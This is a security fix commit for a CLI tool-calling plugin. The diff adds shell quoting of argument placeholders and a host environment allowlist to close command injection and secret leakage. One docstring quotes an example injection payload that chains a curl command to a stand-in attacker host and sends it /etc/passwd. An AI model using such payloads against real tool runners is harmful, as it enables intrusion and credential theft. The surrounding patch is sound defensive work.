fix(cli): block command injection and env leak in CLI protocol

plugins/communication_protocols/cli/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "utcp-cli"
-version = "1.1.1"
+version = "1.1.2"
 authors = [
   { name = "UTCP Contributors" },
 ]

plugins/communication_protocols/cli/src/utcp_cli/cli_call_template.py

@@ -9,15 +9,25 @@
 class CommandStep(BaseModel):
     """REQUIRED
     Configuration for a single command step in a CLI execution flow.
-    
+
     Attributes:
         command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
             placeholders that will be replaced with values from tool_args. Can also
             reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
+
+            Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
+            PowerShell single-quoted literals on Windows) so that
+            `tool_args` values cannot inject extra commands. As a
+            consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
+            expands to **exactly one shell token**. Tools that previously
+            relied on a single placeholder splitting into multiple flags
+            (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
+            use one placeholder per intended flag. This change ships with
+            utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
         append_to_final_output: Whether this command's output should be included
             in the final result. If not specified, defaults to False for all
             commands except the last one.
-    
+
     Examples:
         Basic command step:
         ```json
@@ -26,7 +36,7 @@ class CommandStep(BaseModel):
           "append_to_final_output": true
         }
         ```
-        
+
         Command with argument placeholders and output reference:
         ```json
         {
@@ -36,10 +46,15 @@ class CommandStep(BaseModel):
         ```
     """
     command: str = Field(
-        description="Command string to execute, may contain UTCP_ARG_argname_UTCP_END placeholders"
+        description=(
+            "Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
+            "placeholders. Each placeholder is shell-quoted at substitution "
+            "time and therefore expands to exactly one shell token; use one "
+            "placeholder per intended argument."
+        )
     )
     append_to_final_output: Optional[bool] = Field(
-        default=None, 
+        default=None,
         description="Whether to include this command's output in final result. Defaults to False for all except last command"
     )
 
@@ -54,26 +69,76 @@ class CliCallTemplate(CallTemplate):
     **Cross-Platform Script Generation:**
     - **Windows**: Commands are converted to a PowerShell script
     - **Unix/Linux/macOS**: Commands are converted to a Bash script
-    
+
     **Command Syntax Requirements:**
     - Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
     - Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
-    
+
     **Referencing Previous Command Output:**
     You can reference the output of previous commands using variables:
     - **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
     - **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
-    
+
     Example: `echo "Previous result: $CMD_0_OUTPUT"`
 
+    **Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
+    `UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
+    corresponding `tool_args` value, shell-quoted for the target shell
+    (`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
+    Each placeholder therefore expands to exactly one shell token. If a
+    tool needs multiple flags or arguments, define multiple placeholders
+    (one per flag) instead of relying on a single placeholder splitting
+    on whitespace. This change closes the command-injection vector
+    tracked as GHSA-33p6-5jxp-p3x4.
+
+    **Subprocess Environment (utcp-cli >= 1.1.2):**
+    The CLI subprocess no longer inherits the full host environment.
+    Inheritance is controlled by `inherit_env_vars`:
+      - Omitted / `null`: a built-in default allowlist of host variables
+        is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
+        `LANG`) so shells and binaries can be located normally.
+      - `[]`: strict mode — nothing from the host environment is
+        inherited; only `env_vars` is propagated.
+      - `["FOO", "BAR"]`: exactly those host variables are passed
+        through. The default allowlist is NOT merged in, so callers that
+        still need `PATH` must list it explicitly.
+    `env_vars` is always applied on top and overrides any inherited
+    value. Values in `env_vars` may be plain strings or `${VARNAME}`
+    style placeholders resolved by the UTCP client's variable
+    substitutor (note: those placeholders are resolved against the UTCP
+    client's variable sources, not against the host shell — to forward
+    a host variable by name use `inherit_env_vars`). This closes the
+    secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
+
     Attributes:
         call_template_type: The type of the call template. Must be "cli".
         commands: A list of CommandStep objects defining the commands to execute
             in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
             that will be replaced with values from tool_args during execution.
+            Placeholders are shell-quoted and therefore expand to exactly one
+            shell token (see class docstring).
         env_vars: A dictionary of environment variables to set for the command's
             execution context. Values can be static strings or placeholders for
-            variables from the UTCP client's variable substitutor.
+            variables from the UTCP client's variable substitutor. Always
+            propagated; overrides anything inherited from the host.
+        inherit_env_vars: Controls which host environment variables are
+            passed through to the subprocess.
+              - `None` (default): the built-in default allowlist
+                (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
+                `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
+                inherited so shells and binaries work without extra
+                configuration.
+              - `[]`: strict mode — no host variables are inherited at
+                all. Only `env_vars` reaches the subprocess.
+              - `["FOO", "BAR"]`: exactly those host variables are
+                inherited. The default allowlist is replaced, not
+                extended, so include `PATH` (and any other required
+                shell vars) yourself if needed.
+            Variables named here that are not set on the host are
+            silently skipped. Use this to expose specific host secrets
+            such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
+            `NODE_PATH` without putting their values in the call
+            template.
         working_dir: The working directory from which to run the commands. If not
             provided, it defaults to the current process's working directory.
         auth: Authentication details. Not applicable to the CLI protocol, so it
@@ -97,7 +162,7 @@ class CliCallTemplate(CallTemplate):
           ]
         }
         ```
-        
+
         Referencing previous command output:
         ```json
         {
@@ -116,7 +181,7 @@ class CliCallTemplate(CallTemplate):
         }
         ```
 
-        Command with environment variables and placeholders:
+        Command with environment variables, host pass-through, and placeholders:
         ```json
         {
           "name": "python_multi_step_tool",
@@ -133,16 +198,19 @@ class CliCallTemplate(CallTemplate):
           "env_vars": {
             "PYTHONPATH": "/custom/path",
             "API_KEY": "${API_KEY_VAR}"
-          }
+          },
+          "inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
         }
         ```
 
     Security Considerations:
         - Commands are executed in a subprocess. Ensure that the commands
           specified are from a trusted source.
-        - Avoid passing unsanitized user input directly into the command string.
-          Use tool argument validation where possible.
-        - All placeholders are replaced with string values from tool_args.
+        - `tool_args` values are shell-quoted on substitution, but the
+          *command template itself* is not — never assemble it from
+          untrusted input.
+        - The host environment is restricted; secrets are not propagated
+          unless explicitly named in `env_vars` or `inherit_env_vars`.
         - Commands should use the appropriate syntax for the target platform
           (PowerShell on Windows, Bash on Unix).
         - Previous command outputs are available as variables but should be
@@ -151,10 +219,30 @@ class CliCallTemplate(CallTemplate):
 
     call_template_type: Literal["cli"] = "cli"
     commands: List[CommandStep] = Field(
-        description="List of commands to execute in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders."
+        description=(
+            "List of commands to execute in order. Each command can contain "
+            "UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
+            "on substitution and therefore expand to exactly one shell token."
+        )
     )
     env_vars: Optional[Dict[str, str]] = Field(
-        default=None, description="Environment variables to set when executing the commands"
+        default=None,
+        description=(
+            "Environment variables to set when executing the commands. Always "
+            "propagated to the subprocess and override values inherited from "
+            "the host."
+        )
+    )
+    inherit_env_vars: Optional[List[str]] = Field(
+        default=None,
+        description=(
+            "Controls host environment inheritance. None (default) inherits "
+            "a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
+            "etc.). [] disables host inheritance entirely. A list of names "
+            "replaces the default allowlist with exactly those variables, so "
+            "include PATH explicitly if your tool needs it. Names not set on "
+            "the host are skipped silently."
+        )
     )
     working_dir: Optional[str] = Field(
         default=None, description="Working directory for command execution"

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

@@ -61,22 +61,89 @@ def _log_error(self, message: str):
         """Log error messages."""
         logger.error(f"[CliCommunicationProtocol Error] {message}")
 
+    # Default set of host environment variables propagated to the CLI
+    # subprocess when `CliCallTemplate.inherit_env_vars` is not provided
+    # (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
+    # locale state, and Windows runtime paths are needed for almost any
+    # tool to start. Anything else (cloud creds, API keys, internal
+    # tokens) must be opted in by listing the variable name explicitly in
+    # `inherit_env_vars`, or its value provided in `env_vars`.
+    #
+    # If `inherit_env_vars == []`, the caller is opting into strict mode
+    # and NOTHING is inherited from the host — only `env_vars` reaches the
+    # subprocess.
+    #
+    # Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
+    # `os.environ.copy()` to the subprocess, which combined with the
+    # command injection in `_substitute_utcp_args`
+    # (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
+    # the host process.
+    _DEFAULT_INHERITED_KEYS_UNIX: tuple = (
+        "PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
+        "SHELL", "TZ", "TERM",
+    )
+    _DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
+        "PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
+        "TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
+        "HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
+        "PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
+        "PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
+    )
+
+    @classmethod
+    def _default_inherited_keys(cls) -> tuple:
+        """Return the platform-appropriate default inheritance list."""
+        if os.name == 'nt':
+            return cls._DEFAULT_INHERITED_KEYS_WINDOWS
+        return cls._DEFAULT_INHERITED_KEYS_UNIX
+
     def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
         """Prepare environment variables for command execution.
-
+
+        Composes the subprocess environment with one layer of host
+        inheritance (controlled by `provider.inherit_env_vars`) plus
+        `provider.env_vars` on top:
+
+          - `inherit_env_vars is None` (default): pass through the
+            built-in default allowlist of host vars (PATH, HOME / PATHEXT,
+            SYSTEMROOT, etc.) so normal shells and binaries work without
+            extra wiring.
+          - `inherit_env_vars == []`: strict mode. Nothing from the host
+            environment reaches the subprocess — only `env_vars`.
+          - `inherit_env_vars == [...]`: pass through exactly the named
+            host variables. The default allowlist is NOT merged in, so
+            callers who still want PATH must include it explicitly.
+
+        `env_vars` is always applied last and overrides anything inherited
+        from the host.
+
+        This prevents the unrestricted host environment from leaking into
+        a subprocess that may be running attacker-controlled commands
+        (GHSA-5v57-8rxj-3p2r).
+
         Args:
             provider: The CLI provider
-            
+
         Returns:
             Environment variables dictionary
         """
-        import os
-        env = os.environ.copy()
-
-        # Add custom environment variables if provided
+        if provider.inherit_env_vars is None:
+            inherited_keys: tuple = self._default_inherited_keys()
+        else:
+            inherited_keys = tuple(provider.inherit_env_vars)
+
+        env: Dict[str, str] = {}
+        for key in inherited_keys:
+            value = os.environ.get(key)
+            if value is not None:
+                env[key] = value
+
+        # Caller-supplied variables override anything inherited from the
+        # host. Unset host vars in `inherited_keys` are skipped silently
+        # so missing optionals don't break tool execution.
         if provider.env_vars:
             env.update(provider.env_vars)
-        
+
         return env
 
     async def _execute_command(
@@ -255,27 +322,55 @@ async def deregister_manual(self, caller, manual_call_template: CallTemplate) ->
                 f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
             )
 
+    @staticmethod
+    def _shell_quote(value: str) -> str:
+        """Quote a single value so it is interpreted as one literal token by
+        the target shell (`bash` on Unix, `powershell.exe` on Windows).
+
+        On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
+        a PowerShell single-quoted literal: inside such a literal everything
+        is taken verbatim except `'` itself, which is escaped by doubling
+        (`''`). This blocks the metacharacters PowerShell would otherwise
+        interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
+        breaks).
+
+        Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
+        `str(tool_args[arg_name])` directly into the shell script, which
+        allowed arbitrary command injection (e.g.
+        `"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
+        """
+        if os.name == 'nt':
+            return "'" + value.replace("'", "''") + "'"
+        return shlex.quote(value)
+
     def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
         """Substitute UTCP_ARG placeholders in command string with tool arguments.
-
+
+        Each substituted value is shell-quoted for the target shell so that
+        attacker-controlled `tool_args` cannot escape the placeholder and
+        inject extra commands. As a side effect, a placeholder always
+        expands to exactly one shell token: callers that need to pass
+        multiple flags / arguments must use multiple placeholders rather
+        than splitting a single string at runtime.
+
         Args:
             command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
             tool_args: Dictionary of argument names and values
-            
+
         Returns:
-            Command string with placeholders replaced by actual values
+            Command string with placeholders replaced by shell-quoted values
         """
         # Pattern to match UTCP_ARG_argname_UTCP_END
         pattern = r'UTCP_ARG_(.+?)_UTCP_END'
-        
+
         def replace_placeholder(match):
             arg_name = match.group(1)
             if arg_name in tool_args:
-                return str(tool_args[arg_name])
+                return self._shell_quote(str(tool_args[arg_name]))
             else:
                 self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
-                return f"MISSING_ARG_{arg_name}"
-        
+                return self._shell_quote(f"MISSING_ARG_{arg_name}")
+
         return re.sub(pattern, replace_placeholder, command)
 
     def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str: